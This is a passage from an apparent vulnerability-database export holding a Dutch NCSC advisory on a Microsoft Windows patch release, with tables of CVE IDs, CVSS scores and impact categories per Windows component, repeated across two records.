Azure Attestation service and Device Health Attestation Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-33828 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-45642 | 3.90 | Voordoen als andere gebruiker       | \n|----------------|------|-------------------------------------|\n\nWindows RDP: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-45639 | 7.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-42908 | 7.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWinlogon: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-42989 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Collaborative Translation Framework: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-45586 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Kerberos: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-47288 | 7.10 | Uitvoeren van willekeurige code     | \n| CVE-2026-42903 | 6.50 | Denial-of-Service                   | \n| CVE-2026-42914 | 5.30 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows Cryptographic Services: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-44810 | 8.40 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows NTFS: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-45636 | 7.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Universal Disk Format File System Driver (UDFS): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-40409 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-40404 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Graphics Component: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-42986 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Hyper-V: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-45607 | 8.40 | Uitvoeren van willekeurige code     | \n| CVE-2026-47652 | 8.20 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows NT OS Kernel: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-42980 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-42916 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Common Log File System Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-44809 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Projected File System Filter Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-42828 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-42837 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nUI Automation Manager (uiamanager.dll): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-45597 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows HTTP.sys: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-47291 | 9.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nMicrosoft Kinect: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-41092 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows SDK: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-45593 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Media: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-48574 | 7.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Performance Monitor: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-42981 | 8.10 | Uitvoeren van willekeurige code     | \n| CVE-2026-42974 | 8.10 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Application Identity (AppID) Subsystem: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-45594 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-45604 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Administrator Protection: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-42829 | 7.80 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\nRole: Windows Hyper-V: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-45641 | 8.40 | Uitvoeren van willekeurige code     | \n| CVE-2026-42972 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Narrator Braille: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-48565 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows DHCP Server: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-45634 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-45602 | 9.10 | Manipulatie van gegevens            | \n|----------------|------|-------------------------------------|\n\nWindows Internet (wininet.dll): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-45592 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Deployment Services: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-42987 | 8.10 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nHTTP/2: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49160 | 7.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows Telephony Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-42912 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-42968 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Network Controller (NC) Host Agent: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-44805 | 5.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows DWM Core Library: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-48566 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-45637 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-42905 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-44811 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-44808 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-44807 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-42983 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-44802 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-44814 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-44813 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-44804 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Boot Manager: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-47656 | 7.90 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\nWindows Program Compatibility Assistant Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-45487 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Storage: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-47648 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Shell: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-42906 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-42907 | 6.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nActive Directory Domain Services: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-45648 | 8.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n```", "creation_timestamp": "2026-06-09T15:44:28.000000Z"}, {"uuid": "ee26289f-caf4-4f75-a7e3-490611a1e1dc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48576", "type": "seen", "source": "https://advisories.ncsc.nl/advisory?id=NCSC-2026-0181", "content": "Microsoft heeft een groot aantal kwetsbaarheden verholpen in Windows. Een kwaadwillende kan de kwetsbaarheden misbruiken om aanvallen uit te voeren die kunnen leiden tot diverse categorie\u00ebn schade, zoals omschreven in onderstaande tabellen.\n\nTussen deze kwetsbaarheden zitten een zestal zeer ernstige, welke door Microsoft zijn ingeschaald met een CVSS score van 9 en hoger.\nDeze kwetsbaarheden bevinden zich in diverse componenten van Windows die bereikbaar en benaderbaar zijn vanaf netwerkverbindingen, zoals http.sys, DHCP, de Kernel en TCP/IP. Door de externe bereikbaarheid en de mogelijkheden tot uitvoer van willekeurige code, is het risico op grootschalig misbruik op korte termijn aanwezig. Op dit moment wordt (nog) geen actief misbruik waargenomen en is (nog) geen publieke Proof-of-Concept (PoC) of exploit bekend, maar het NCSC verwacht deze wel op korte termijn en adviseert daarom deze updates met spoed in te zetten.\n\n```\nWindows TCP/IP: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-42904 | 9.60 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-42915 | 5.70 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows BitLocker: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-45655 | 5.30 | Omzeilen van beveiligingsmaatregel  | \n| CVE-2026-45658 | 7.80 | Omzeilen van beveiligingsmaatregel  | \n| CVE-2026-50507 | 6.80 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\nWindows Mark of the Web (MOTW): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-45595 | 5.40 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\nWindows Win32K - GRFX: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-44803 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-44812 | 7.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Push Notifications: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-42969 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-42971 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-42970 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-42973 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-42978 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-42977 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-42979 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-42991 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Windows DNS: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-41108 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Bluetooth Port Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-45640 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Ancillary Function Driver for WinSock: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-34335 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-45601 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-45598 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-45596 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-45638 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-45603 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-42911 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nFunction Discovery Service (fdwsd.dll): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-42836 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Kernel: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2025-10263 | 9.30 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-45657 | 9.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-48583 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-45653 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-42984 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Secure Boot: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-45588 | 7.90 | Omzeilen van beveiligingsmaatregel  | \n| CVE-2026-48568 | 7.90 | Omzeilen van beveiligingsmaatregel  | \n| CVE-2026-48570 | 7.90 | Omzeilen van beveiligingsmaatregel  | \n| CVE-2026-48573 | 7.90 | Omzeilen van beveiligingsmaatregel  | \n| CVE-2026-48575 | 7.90 | Omzeilen van beveiligingsmaatregel  | \n| CVE-2026-48576 | 7.90 | Omzeilen van beveiligingsmaatregel  | \n| CVE-2026-48578 | 7.90 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-45654 | 7.90 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\nRemote Desktop Client: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-47289 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-47653 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-47654 | 7.50 | Uitvoeren van willekeurige code     | \n| CVE-2026-48563 | 7.50 | Uitvoeren van willekeurige code     | \n| CVE-2026-42909 | 7.50 | Uitvoeren van willekeurige code     | \n| CVE-2026-42913 | 7.50 | Uitvoeren van willekeurige code     | \n| CVE-2026-42992 | 7.50 | Uitvoeren van willekeurige code     | \n| CVE-2026-44799 | 7.50 | Uitvoeren van willekeurige code     | \n| CVE-2026-44801 | 7.50 | Uitvoeren van willekeurige code     | \n| CVE-2026-42985 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-42993 | 7.50 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nMicrosoft UxTheme Library (uxtheme.dll): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-45606 | 5.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows Kernel-Mode Drivers: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-45600 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows DHCP Client: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-45608 | 6.80 | Toegang tot gevoelige gegevens      | \n| CVE-2026-44815 | 9.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nUniversal Plug and Play (upnp.dll): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-45599 | 8.10 | Uitvoeren van willekeurige code     | \n| CVE-2026-45635 | 8.10 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Bluetooth Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-45605 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows UEFI: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-45656 | 7.80 | Omzeilen van beveiligingsmaatregel  | \n| CVE-2026-8863  | 7.80 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\nWindows Hotpatch Monitoring Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-42910 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Azure Attestation service and Device Health Attestation Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-33828 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-45642 | 3.90 | Voordoen als andere gebruiker       | \n|----------------|------|-------------------------------------|\n\nWindows RDP: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-45639 | 7.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-42908 | 7.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWinlogon: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-42989 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Collaborative Translation Framework: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-45586 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Kerberos: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-47288 | 7.10 | Uitvoeren van willekeurige code     | \n| CVE-2026-42903 | 6.50 | Denial-of-Service                   | \n| CVE-2026-42914 | 5.30 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows Cryptographic Services: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-44810 | 8.40 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows NTFS: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-45636 | 7.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Universal Disk Format File System Driver (UDFS): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-40409 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-40404 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Graphics Component: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-42986 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Hyper-V: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-45607 | 8.40 | Uitvoeren van willekeurige code     | \n| CVE-2026-47652 | 8.20 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows NT OS Kernel: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-42980 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-42916 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Common Log File System Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-44809 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Projected File System Filter Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-42828 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-42837 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nUI Automation Manager (uiamanager.dll): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-45597 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows HTTP.sys: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-47291 | 9.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nMicrosoft Kinect: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-41092 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows SDK: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-45593 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Media: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-48574 | 7.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Performance Monitor: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-42981 | 8.10 | Uitvoeren van willekeurige code     | \n| CVE-2026-42974 | 8.10 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Application Identity (AppID) Subsystem: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-45594 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-45604 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Administrator Protection: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-42829 | 7.80 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\nRole: Windows Hyper-V: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-45641 | 8.40 | Uitvoeren van willekeurige code     | \n| CVE-2026-42972 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Narrator Braille: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-48565 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows DHCP Server: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-45634 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-45602 | 9.10 | Manipulatie van gegevens            | \n|----------------|------|-------------------------------------|\n\nWindows Internet (wininet.dll): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-45592 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Deployment Services: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-42987 | 8.10 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nHTTP/2: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49160 | 7.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows Telephony Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-42912 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-42968 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Network Controller (NC) Host Agent: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-44805 | 5.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows DWM Core Library: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-48566 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-45637 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-42905 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-44811 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-44808 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-44807 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-42983 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-44802 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-44814 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-44813 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-44804 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Boot Manager: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-47656 | 7.90 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\nWindows Program Compatibility Assistant Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-45487 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Storage: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-47648 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Shell: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-42906 | 5.50 | Toegang tot gevoelige 